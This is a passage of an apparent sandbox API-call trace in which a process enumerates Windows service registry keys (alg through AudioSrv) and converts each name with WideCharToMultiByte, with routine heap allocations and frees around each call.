WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.016] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.016] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0243.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.016] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.017] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.017] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.017] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0243.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.018] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.018] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.018] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.018] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0243.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.019] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.019] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.019] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0243.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.020] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.020] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.020] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1c40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.020] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0243.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.021] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.021] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f16e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.021] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0243.021] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 